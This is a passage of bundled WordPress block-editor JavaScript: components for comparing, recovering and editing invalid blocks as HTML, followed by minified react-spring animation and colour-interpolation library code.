34280 const newBlocks = Array.isArray(convertedBlock) ? convertedBlock : [convertedBlock];
34281 const newContent = newBlocks.map(
34282 (item) => (0,external_wp_blocks_namespaceObject.getSaveContent)(item.name, item.attributes, item.innerBlocks)
34283 );
34284 return newContent.join("");
34285 }
34286 const converted = getConvertedContent(convertor(block));
34287 const difference = getDifference(block.originalContent, converted);
34288 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-compare__wrapper", children: [
34289 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34290 BlockView,
34291 {
34292 title: (0,external_wp_i18n_namespaceObject.__)("Current"),
34293 className: "block-editor-block-compare__current",
34294 action: onKeep,
34295 actionText: (0,external_wp_i18n_namespaceObject.__)("Convert to HTML"),
34296 rawContent: block.originalContent,
34297 renderedContent: block.originalContent
34298 }
34299 ),
34300 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34301 BlockView,
34302 {
34303 title: (0,external_wp_i18n_namespaceObject.__)("After Conversion"),
34304 className: "block-editor-block-compare__converted",
34305 action: onConvert,
34306 actionText: convertButtonText,
34307 rawContent: difference,
34308 renderedContent: converted
34309 }
34310 )
34311 ] });
34312}
34313var block_compare_default = BlockCompare;
34314
34315
34316;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/block-invalid-warning.js
34317
34318
34319
34320
34321
34322
34323
34324
34325
34326const blockToBlocks = (block) => (0,external_wp_blocks_namespaceObject.rawHandler)({
34327 HTML: block.originalContent
34328});
34329function BlockInvalidWarning({ clientId }) {
34330 const { block, canInsertHTMLBlock, canInsertClassicBlock } = (0,external_wp_data_namespaceObject.useSelect)(
34331 (select) => {
34332 const { canInsertBlockType, getBlock, getBlockRootClientId } = select(store);
34333 const rootClientId = getBlockRootClientId(clientId);
34334 return {
34335 block: getBlock(clientId),
34336 canInsertHTMLBlock: canInsertBlockType(
34337 "core/html",
34338 rootClientId
34339 ),
34340 canInsertClassicBlock: canInsertBlockType(
34341 "core/freeform",
34342 rootClientId
34343 )
34344 };
34345 },
34346 [clientId]
34347 );
34348 const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
34349 const [compare, setCompare] = (0,external_wp_element_namespaceObject.useState)(false);
34350 const onCompareClose = (0,external_wp_element_namespaceObject.useCallback)(() => setCompare(false), []);
34351 const convert = (0,external_wp_element_namespaceObject.useMemo)(
34352 () => ({
34353 toClassic() {
34354 const classicBlock = (0,external_wp_blocks_namespaceObject.createBlock)("core/freeform", {
34355 content: block.originalContent
34356 });
34357 return replaceBlock(block.clientId, classicBlock);
34358 },
34359 toHTML() {
34360 const htmlBlock = (0,external_wp_blocks_namespaceObject.createBlock)("core/html", {
34361 content: block.originalContent
34362 });
34363 return replaceBlock(block.clientId, htmlBlock);
34364 },
34365 toBlocks() {
34366 const newBlocks = blockToBlocks(block);
34367 return replaceBlock(block.clientId, newBlocks);
34368 },
34369 toRecoveredBlock() {
34370 const recoveredBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
34371 block.name,
34372 block.attributes,
34373 block.innerBlocks
34374 );
34375 return replaceBlock(block.clientId, recoveredBlock);
34376 }
34377 }),
34378 [block, replaceBlock]
34379 );
34380 const secondaryActions = (0,external_wp_element_namespaceObject.useMemo)(
34381 () => [
34382 {
34383 // translators: Button to fix block content
34384 title: (0,external_wp_i18n_namespaceObject._x)("Resolve", "imperative verb"),
34385 onClick: () => setCompare(true)
34386 },
34387 canInsertHTMLBlock && {
34388 title: (0,external_wp_i18n_namespaceObject.__)("Convert to HTML"),
34389 onClick: convert.toHTML
34390 },
34391 canInsertClassicBlock && {
34392 title: (0,external_wp_i18n_namespaceObject.__)("Convert to Classic Block"),
34393 onClick: convert.toClassic
34394 }
34395 ].filter(Boolean),
34396 [canInsertHTMLBlock, canInsertClassicBlock, convert]
34397 );
34398 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
34399 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34400 warning_default,
34401 {
34402 actions: [
34403 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34404 external_wp_components_namespaceObject.Button,
34405 {
34406 __next40pxDefaultSize: true,
34407 onClick: convert.toRecoveredBlock,
34408 variant: "primary",
34409 children: (0,external_wp_i18n_namespaceObject.__)("Attempt recovery")
34410 },
34411 "recover"
34412 )
34413 ],
34414 secondaryActions,
34415 children: (0,external_wp_i18n_namespaceObject.__)("Block contains unexpected or invalid content.")
34416 }
34417 ),
34418 compare && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34419 external_wp_components_namespaceObject.Modal,
34420 {
34421 title: (
34422 // translators: Dialog title to fix block content
34423 (0,external_wp_i18n_namespaceObject.__)("Resolve Block")
34424 ),
34425 onRequestClose: onCompareClose,
34426 className: "block-editor-block-compare",
34427 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34428 block_compare_default,
34429 {
34430 block,
34431 onKeep: convert.toHTML,
34432 onConvert: convert.toBlocks,
34433 convertor: blockToBlocks,
34434 convertButtonText: (0,external_wp_i18n_namespaceObject.__)("Convert to Blocks")
34435 }
34436 )
34437 }
34438 )
34439 ] });
34440}
34441
34442
34443;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/block-crash-warning.js
34444
34445
34446
34447const warning = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(warning_default, { className: "block-editor-block-list__block-crash-warning", children: (0,external_wp_i18n_namespaceObject.__)("This block has encountered an error and cannot be previewed.") });
34448var block_crash_warning_default = () => warning;
34449
34450
34451;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/block-crash-boundary.js
34452
34453class BlockCrashBoundary extends external_wp_element_namespaceObject.Component {
34454 constructor() {
34455 super(...arguments);
34456 this.state = {
34457 hasError: false
34458 };
34459 }
34460 componentDidCatch() {
34461 this.setState({
34462 hasError: true
34463 });
34464 }
34465 render() {
34466 if (this.state.hasError) {
34467 return this.props.fallback;
34468 }
34469 return this.props.children;
34470 }
34471}
34472var block_crash_boundary_default = BlockCrashBoundary;
34473
34474
34475// EXTERNAL MODULE: ./node_modules/react-autosize-textarea/lib/index.js
34476var lib = __webpack_require__(4132);
34477;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/block-html.js
34478
34479
34480
34481
34482
34483
34484function BlockHTML({ clientId }) {
34485 const [html, setHtml] = (0,external_wp_element_namespaceObject.useState)("");
34486 const block = (0,external_wp_data_namespaceObject.useSelect)(
34487 (select) => select(store).getBlock(clientId),
34488 [clientId]
34489 );
34490 const { updateBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
34491 const onChange = () => {
34492 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(block.name);
34493 if (!blockType) {
34494 return;
34495 }
34496 const attributes = (0,external_wp_blocks_namespaceObject.getBlockAttributes)(
34497 blockType,
34498 html,
34499 block.attributes
34500 );
34501 const content = html ? html : (0,external_wp_blocks_namespaceObject.getSaveContent)(blockType, attributes);
34502 const [isValid] = html ? (0,external_wp_blocks_namespaceObject.validateBlock)({
34503 ...block,
34504 attributes,
34505 originalContent: content
34506 }) : [true];
34507 updateBlock(clientId, {
34508 attributes,
34509 originalContent: content,
34510 isValid
34511 });
34512 if (!html) {
34513 setHtml(content);
34514 }
34515 };
34516 (0,external_wp_element_namespaceObject.useEffect)(() => {
34517 setHtml((0,external_wp_blocks_namespaceObject.getBlockContent)(block));
34518 }, [block]);
34519 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34520 lib/* default */.A,
34521 {
34522 className: "block-editor-block-list__block-html-textarea",
34523 value: html,
34524 onBlur: onChange,
34525 onChange: (event) => setHtml(event.target.value)
34526 }
34527 );
34528}
34529var block_html_default = BlockHTML;
34530
34531
34532;// ./node_modules/@react-spring/rafz/dist/esm/index.js
34533var esm_f=esm_l(),esm_n=e=>esm_c(e,esm_f),esm_m=esm_l();esm_n.write=e=>esm_c(e,esm_m);var esm_d=esm_l();esm_n.onStart=e=>esm_c(e,esm_d);var esm_h=esm_l();esm_n.onFrame=e=>esm_c(e,esm_h);var esm_p=esm_l();esm_n.onFinish=e=>esm_c(e,esm_p);var esm_i=[];esm_n.setTimeout=(e,t)=>{let a=esm_n.now()+t,o=()=>{let F=esm_i.findIndex(z=>z.cancel==o);~F&&esm_i.splice(F,1),esm_u-=~F?1:0},s={time:a,handler:e,cancel:o};return esm_i.splice(esm_w(a),0,s),esm_u+=1,esm_v(),s};var esm_w=e=>~(~esm_i.findIndex(t=>t.time>e)||~esm_i.length);esm_n.cancel=e=>{esm_d.delete(e),esm_h.delete(e),esm_p.delete(e),esm_f.delete(e),esm_m.delete(e)};esm_n.sync=e=>{T=!0,esm_n.batchedUpdates(e),T=!1};esm_n.throttle=e=>{let t;function a(){try{e(...t)}finally{t=null}}function o(...s){t=s,esm_n.onStart(a)}return o.handler=e,o.cancel=()=>{esm_d.delete(a),t=null},o};var esm_y=typeof window<"u"?window.requestAnimationFrame:()=>{};esm_n.use=e=>esm_y=e;esm_n.now=typeof performance<"u"?()=>performance.now():Date.now;esm_n.batchedUpdates=e=>e();esm_n.catch=console.error;esm_n.frameLoop="always";esm_n.advance=()=>{esm_n.frameLoop!=="demand"?console.warn("Cannot call the manual advancement of rafz whilst frameLoop is not set as demand"):esm_x()};var esm_r=-1,esm_u=0,T=!1;function esm_c(e,t){T?(t.delete(e),e(0)):(t.add(e),esm_v())}function esm_v(){esm_r<0&&(esm_r=0,esm_n.frameLoop!=="demand"&&esm_y(esm_b))}function esm_R(){esm_r=-1}function esm_b(){~esm_r&&(esm_y(esm_b),esm_n.batchedUpdates(esm_x))}function esm_x(){let e=esm_r;esm_r=esm_n.now();let t=esm_w(esm_r);if(t&&(Q(esm_i.splice(0,t),a=>a.handler()),esm_u-=t),!esm_u){esm_R();return}esm_d.flush(),esm_f.flush(e?Math.min(64,esm_r-e):16.667),esm_h.flush(),esm_m.flush(),esm_p.flush()}function esm_l(){let e=new Set,t=e;return{add(a){esm_u+=t==e&&!e.has(a)?1:0,e.add(a)},delete(a){return esm_u-=t==e&&e.has(a)?1:0,e.delete(a)},flush(a){t.size&&(e=new Set,esm_u-=t.size,Q(t,o=>o(a)&&e.add(o)),esm_u+=e.size,t=e)}}}function Q(e,t){e.forEach(a=>{try{t(a)}catch(o){esm_n.catch(o)}})}var esm_S={count(){return esm_u},isRunning(){return esm_r>=0},clear(){esm_r=-1,esm_i=[],esm_d=esm_l(),esm_f=esm_l(),esm_h=esm_l(),esm_m=esm_l(),esm_p=esm_l(),esm_u=0}};
34534
34535;// ./node_modules/@react-spring/shared/dist/esm/index.js
34536var ze=Object.defineProperty;var Le=(e,t)=>{for(var r in t)ze(e,r,{get:t[r],enumerable:!0})};var dist_esm_p={};Le(dist_esm_p,{assign:()=>U,colors:()=>dist_esm_c,createStringInterpolator:()=>esm_k,skipAnimation:()=>ee,to:()=>J,willAdvance:()=>dist_esm_S});function Y(){}var mt=(e,t,r)=>Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0}),dist_esm_l={arr:Array.isArray,obj:e=>!!e&&e.constructor.name==="Object",fun:e=>typeof e=="function",str:e=>typeof e=="string",num:e=>typeof e=="number",und:e=>e===void 0};function bt(e,t){if(dist_esm_l.arr(e)){if(!dist_esm_l.arr(t)||e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0}return e===t}var esm_Ve=(e,t)=>e.forEach(t);function xt(e,t,r){if(dist_esm_l.arr(e)){for(let n=0;n<e.length;n++)t.call(r,e[n],`${n}`);return}for(let n in e)e.hasOwnProperty(n)&&t.call(r,e[n],n)}var ht=e=>dist_esm_l.und(e)?[]:dist_esm_l.arr(e)?e:[e];function Pe(e,t){if(e.size){let r=Array.from(e);e.clear(),esm_Ve(r,t)}}var yt=(e,...t)=>Pe(e,r=>r(...t)),dist_esm_h=()=>typeof window>"u"||!window.navigator||/ServerSideRendering|^Deno\//.test(window.navigator.userAgent);var esm_k,J,dist_esm_c=null,ee=!1,dist_esm_S=Y,U=e=>{e.to&&(J=e.to),e.now&&(esm_n.now=e.now),e.colors!==void 0&&(dist_esm_c=e.colors),e.skipAnimation!=null&&(ee=e.skipAnimation),e.createStringInterpolator&&(esm_k=e.createStringInterpolator),e.requestAnimationFrame&&esm_n.use(e.requestAnimationFrame),e.batchedUpdates&&(esm_n.batchedUpdates=e.batchedUpdates),e.willAdvance&&(dist_esm_S=e.willAdvance),e.frameLoop&&(esm_n.frameLoop=e.frameLoop)};var esm_E=new Set,dist_esm_u=[],esm_H=[],A=0,qe={get idle(){return!esm_E.size&&!dist_esm_u.length},start(e){A>e.priority?(esm_E.add(e),esm_n.onStart($e)):(te(e),esm_n(B))},advance:B,sort(e){if(A)esm_n.onFrame(()=>qe.sort(e));else{let t=dist_esm_u.indexOf(e);~t&&(dist_esm_u.splice(t,1),re(e))}},clear(){dist_esm_u=[],esm_E.clear()}};function $e(){esm_E.forEach(te),esm_E.clear(),esm_n(B)}function te(e){dist_esm_u.includes(e)||re(e)}function re(e){dist_esm_u.splice(Ge(dist_esm_u,t=>t.priority>e.priority),0,e)}function B(e){let t=esm_H;for(let r=0;r<dist_esm_u.length;r++){let n=dist_esm_u[r];A=n.priority,n.idle||(dist_esm_S(n),n.advance(e),n.idle||t.push(n))}return A=0,esm_H=dist_esm_u,esm_H.length=0,dist_esm_u=t,dist_esm_u.length>0}function Ge(e,t){let r=e.findIndex(t);return r<0?e.length:r}var ne=(e,t,r)=>Math.min(Math.max(r,e),t);var It={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199};var dist_esm_d="[-+]?\\d*\\.?\\d+",esm_M=dist_esm_d+"%";function C(...e){return"\\(\\s*("+e.join(")\\s*,\\s*(")+")\\s*\\)"}var oe=new RegExp("rgb"+C(dist_esm_d,dist_esm_d,dist_esm_d)),fe=new RegExp("rgba"+C(dist_esm_d,dist_esm_d,dist_esm_d,dist_esm_d)),ae=new RegExp("hsl"+C(dist_esm_d,esm_M,esm_M)),ie=new RegExp("hsla"+C(dist_esm_d,esm_M,esm_M,dist_esm_d)),se=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,ue=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,le=/^#([0-9a-fA-F]{6})$/,esm_ce=/^#([0-9a-fA-F]{8})$/;function be(e){let t;return typeof e=="number"?e>>>0===e&&e>=0&&e<=4294967295?e:null:(t=le.exec(e))?parseInt(t[1]+"ff",16)>>>0:dist_esm_c&&dist_esm_c[e]!==void 0?dist_esm_c[e]:(t=oe.exec(e))?(dist_esm_y(t[1])<<24|dist_esm_y(t[2])<<16|dist_esm_y(t[3])<<8|255)>>>0:(t=fe.exec(e))?(dist_esm_y(t[1])<<24|dist_esm_y(t[2])<<16|dist_esm_y(t[3])<<8|me(t[4]))>>>0:(t=se.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+"ff",16)>>>0:(t=esm_ce.exec(e))?parseInt(t[1],16)>>>0:(t=ue.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)>>>0:(t=ae.exec(e))?(de(esm_pe(t[1]),esm_z(t[2]),esm_z(t[3]))|255)>>>0:(t=ie.exec(e))?(de(esm_pe(t[1]),esm_z(t[2]),esm_z(t[3]))|me(t[4]))>>>0:null}function esm_j(e,t,r){return r<0&&(r+=1),r>1&&(r-=1),r<1/6?e+(t-e)*6*r:r<1/2?t:r<2/3?e+(t-e)*(2/3-r)*6:e}function de(e,t,r){let n=r<.5?r*(1+t):r+t-r*t,f=2*r-n,o=esm_j(f,n,e+1/3),i=esm_j(f,n,e),s=esm_j(f,n,e-1/3);return Math.round(o*255)<<24|Math.round(i*255)<<16|Math.round(s*255)<<8}function dist_esm_y(e){let t=parseInt(e,10);return t<0?0:t>255?255:t}function esm_pe(e){return(parseFloat(e)%360+360)%360/360}function me(e){let t=parseFloat(e);return t<0?0:t>1?255:Math.round(t*255)}function esm_z(e){let t=parseFloat(e);return t<0?0:t>100?1:t/100}function D(e){let t=be(e);if(t===null)return e;t=t||0;let r=(t&4278190080)>>>24,n=(t&16711680)>>>16,f=(t&65280)>>>8,o=(t&255)/255;return`rgba(${r}, ${n}, ${f}, ${o})`}var W=(e,t,r)=>{if(dist_esm_l.fun(e))return e;if(dist_esm_l.arr(e))return W({range:e,output:t,extrapolate:r});if(dist_esm_l.str(e.output[0]))return esm_k(e);let n=e,f=n.output,o=n.range||[0,1],i=n.extrapolateLeft||n.extrapolate||"extend",s=n.extrapolateRight||n.extrapolate||"extend",x=n.easing||(a=>a);return a=>{let F=He(a,o);return Ue(a,o[F],o[F+1],f[F],f[F+1],x,i,s,n.map)}};function Ue(e,t,r,n,f,o,i,s,x){let a=x?x(e):e;if(a<t){if(i==="identity")return a;i==="clamp"&&(a=t)}if(a>r){if(s==="identity")return a;s==="clamp"&&(a=r)}return n===f?n:t===r?e<=t?n:f:(t===-1/0?a=-a:r===1/0?a=a-t:a=(a-t)/(r-t),a=o(a),n===-1/0?a=-a:f===1/0?a=a+n:a=a*(f-n)+n,a)}function He(e,t){for(var r=1;r<t.length-1&&!(t[r]>=e);++r);return r-1}var Be=(e,t="end")=>r=>{r=t==="end"?Math.min(r,.999):Math.max(r,.001);let n=r*e,f=t==="end"?Math.floor(n):Math.ceil(n);return ne(0,1,f/e)},P=1.70158,L=P*1.525,xe=P+1,he=2*Math.PI/3,ye=2*Math.PI/4.5,V=e=>e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375,Lt={linear:e=>e,easeInQuad:e=>e*e,easeOutQuad:e=>1-(1-e)*(1-e),easeInOutQuad:e=>e<.5?2*e*e:1-Math.pow(-2*e+2,2)/2,easeInCubic:e=>e*e*e,easeOutCubic:e=>1-Math.pow(1-e,3),easeInOutCubic:e=>e<.5?4*e*e*e:1-Math.pow(-2*e+2,3)/2,easeInQuart:e=>e*e*e*e,easeOutQuart:e=>1-Math.pow(1-e,4),easeInOutQuart:e=>e<.5?8*e*e*e*e:1-Math.pow(-2*e+2,4)/2,easeInQuint:e=>e*e*e*e*e,easeOutQuint:e=>1-Math.pow(1-e,5),easeInOutQuint:e=>e<.5?16*e*e*e*e*e:1-Math.pow(-2*e+2,5)/2,easeInSine:e=>1-Math.cos(e*Math.PI/2),easeOutSine:e=>Math.sin(e*Math.PI/2),easeInOutSine:e=>-(Math.cos(Math.PI*e)-1)/2,easeInExpo:e=>e===0?0:Math.pow(2,10*e-10),easeOutExpo:e=>e===1?1:1-Math.pow(2,-10*e),easeInOutExpo:e=>e===0?0:e===1?1:e<.5?Math.pow(2,20*e-10)/2:(2-Math.pow(2,-20*e+10))/2,easeInCirc:e=>1-Math.sqrt(1-Math.pow(e,2)),easeOutCirc:e=>Math.sqrt(1-Math.pow(e-1,2)),easeInOutCirc:e=>e<.5?(1-Math.sqrt(1-Math.pow(2*e,2)))/2:(Math.sqrt(1-Math.pow(-2*e+2,2))+1)/2,easeInBack:e=>xe*e*e*e-P*e*e,easeOutBack:e=>1+xe*Math.pow(e-1,3)+P*Math.pow(e-1,2),easeInOutBack:e=>e<.5?Math.pow(2*e,2)*((L+1)*2*e-L)/2:(Math.pow(2*e-2,2)*((L+1)*(e*2-2)+L)+2)/2,easeInElastic:e=>e===0?0:e===1?1:-Math.pow(2,10*e-10)*Math.sin((e*10-10.75)*he),easeOutElastic:e=>e===0?0:e===1?1:Math.pow(2,-10*e)*Math.sin((e*10-.75)*he)+1,easeInOutElastic:e=>e===0?0:e===1?1:e<.5?-(Math.pow(2,20*e-10)*Math.sin((20*e-11.125)*ye))/2:Math.pow(2,-20*e+10)*Math.sin((20*e-11.125)*ye)/2+1,easeInBounce:e=>1-V(1-e),easeOutBounce:V,easeInOutBounce:e=>e<.5?(1-V(1-2*e))/2:(1+V(2*e-1))/2,steps:Be};var esm_g=Symbol.for("FluidValue.get"),dist_esm_m=Symbol.for("FluidValue.observers");var Pt=e=>Boolean(e&&e[esm_g]),ve=e=>e&&e[esm_g]?e[esm_g]():e,esm_qt=e=>e[dist_esm_m]||null;function je(e,t){e.eventObserved?e.eventObserved(t):e(t)}function $t(e,t){let r=e[dist_esm_m];r&&r.forEach(n=>{je(n,t)})}var esm_ge=class{[esm_g];[dist_esm_m];constructor(t){if(!t&&!(t=this.get))throw Error("Unknown getter");De(this,t)}},De=(e,t)=>Ee(e,esm_g,t);function Gt(e,t){if(e[esm_g]){let r=e[dist_esm_m];r||Ee(e,dist_esm_m,r=new Set),r.has(t)||(r.add(t),e.observerAdded&&e.observerAdded(r.size,t))}return t}function Qt(e,t){let r=e[dist_esm_m];if(r&&r.has(t)){let n=r.size-1;n?r.delete(t):e[dist_esm_m]=null,e.observerRemoved&&e.observerRemoved(n,t)}}var Ee=(e,t,r)=>Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0});var O=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,esm_Oe=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,K=new RegExp(`(${O.source})(%|[a-z]+)`,"i"),we=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,dist_esm_b=/var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/;var esm_N=e=>{let[t,r]=We(e);if(!t||dist_esm_h())return e;let n=window.getComputedStyle(document.documentElement).getPropertyValue(t);if(n)return n.trim();if(r&&r.startsWith("--")){let f=window.getComputedStyle(document.documentElement).getPropertyValue(r);return f||e}else{if(r&&dist_esm_b.test(r))return esm_N(r);if(r)return r}return e},We=e=>{let t=dist_esm_b.exec(e);if(!t)return[,];let[,r,n]=t;return[r,n]};var _,esm_Ke=(e,t,r,n,f)=>`rgba(${Math.round(t)}, ${Math.round(r)}, ${Math.round(n)}, ${f})`,Xt=e=>{_||(_=dist_esm_c?new RegExp(`(${Object.keys(dist_esm_c).join("|")})(?!\\w)`,"g"):/^\b$/);let t=e.output.map(o=>ve(o).replace(dist_esm_b,esm_N).replace(esm_Oe,D).replace(_,D)),r=t.map(o=>o.match(O).map(Number)),f=r[0].map((o,i)=>r.map(s=>{if(!(i in s))throw Error('The arity of each "output" value must be equal');return s[i]})).map(o=>W({...e,output:o}));return o=>{let i=!K.test(t[0])&&t.find(x=>K.test(x))?.replace(O,""),s=0;return t[0].replace(O,()=>`${f[s++](o)}${i||""}`).replace(we,esm_Ke)}};var Z="react-spring: ",Te=e=>{let t=e,r=!1;if(typeof t!="function")throw new TypeError(`${Z}once requires a function parameter`);return(...n)=>{r||(t(...n),r=!0)}},Ne=Te(console.warn);function Jt(){Ne(`${Z}The "interpolate" function is deprecated in v9 (use "to" instead)`)}var _e=Te(console.warn);function er(){_e(`${Z}Directly calling start instead of using the api object is deprecated in v9 (use ".start" instead), this will be removed in later 0.X.0 versions`)}function esm_or(e){return dist_esm_l.str(e)&&(e[0]=="#"||/\d/.test(e)||!dist_esm_h()&&dist_esm_b.test(e)||e in(dist_esm_c||{}))}var dist_esm_v,q=new WeakMap,Ze=e=>e.forEach(({target:t,contentRect:r})=>q.get(t)?.forEach(n=>n(r)));function Fe(e,t){dist_esm_v||typeof ResizeObserver<"u"&&(dist_esm_v=new ResizeObserver(Ze));let r=q.get(t);return r||(r=new Set,q.set(t,r)),r.add(e),dist_esm_v&&dist_esm_v.observe(t),()=>{let n=q.get(t);!n||(n.delete(e),!n.size&&dist_esm_v&&dist_esm_v.unobserve(t))}}var esm_$=new Set,dist_esm_w,esm_Xe=()=>{let e=()=>{esm_$.forEach(t=>t({width:window.innerWidth,height:window.innerHeight}))};return window.addEventListener("resize",e),()=>{window.removeEventListener("resize",e)}},Ie=e=>(esm_$.add(e),dist_esm_w||(dist_esm_w=esm_Xe()),()=>{esm_$.delete(e),!esm_$.size&&dist_esm_w&&(dist_esm_w(),dist_esm_w=void 0)});var ke=(e,{container:t=document.documentElement}={})=>t===document.documentElement?Ie(e):Fe(e,t);var Se=(e,t,r)=>t-e===0?1:(r-e)/(t-e);var esm_Ye={x:{length:"Width",position:"Left"},y:{length:"Height",position:"Top"}},esm_G=class{callback;container;info;constructor(t,r){this.callback=t,this.container=r,this.info={time:0,x:this.createAxis(),y:this.createAxis()}}createAxis=()=>({current:0,progress:0,scrollLength:0});updateAxis=t=>{let r=this.info[t],{length:n,position:f}=esm_Ye[t];r.current=this.container[`scroll${f}`],r.scrollLength=this.container["scroll"+n]-this.container["client"+n],r.progress=Se(0,r.scrollLength,r.current)};update=()=>{this.updateAxis("x"),this.updateAxis("y")};sendEvent=()=>{this.callback(this.info)};advance=()=>{this.update(),this.sendEvent()}};var esm_T=new WeakMap,Ae=new WeakMap,X=new WeakMap,Me=e=>e===document.documentElement?window:e,yr=(e,{container:t=document.documentElement}={})=>{let r=X.get(t);r||(r=new Set,X.set(t,r));let n=new esm_G(e,t);if(r.add(n),!esm_T.has(t)){let o=()=>(r?.forEach(s=>s.advance()),!0);esm_T.set(t,o);let i=Me(t);window.addEventListener("resize",o,{passive:!0}),t!==document.documentElement&&Ae.set(t,ke(o,{container:t})),i.addEventListener("scroll",o,{passive:!0})}let f=esm_T.get(t);return Re(f),()=>{Re.cancel(f);let o=X.get(t);if(!o||(o.delete(n),o.size))return;let i=esm_T.get(t);esm_T.delete(t),i&&(Me(t).removeEventListener("scroll",i),window.removeEventListener("resize",i),Ae.get(t)?.())}};function Er(e){let t=Je(null);return t.current===null&&(t.current=e()),t.current}var esm_Q=dist_esm_h()?external_React_.useEffect:external_React_.useLayoutEffect;var Ce=()=>{let e=(0,external_React_.useRef)(!1);return esm_Q(()=>(e.current=!0,()=>{e.current=!1}),[]),e};function Mr(){let e=(0,external_React_.useState)()[1],t=Ce();return()=>{t.current&&e(Math.random())}}function Lr(e,t){let[r]=(0,external_React_.useState)(()=>({inputs:t,result:e()})),n=(0,external_React_.useRef)(),f=n.current,o=f;return o?Boolean(t&&o.inputs&&it(t,o.inputs))||(o={inputs:t,result:e()}):o=r,(0,external_React_.useEffect)(()=>{n.current=o,f==r&&(r.inputs=r.result=void 0)},[o]),o.result}function 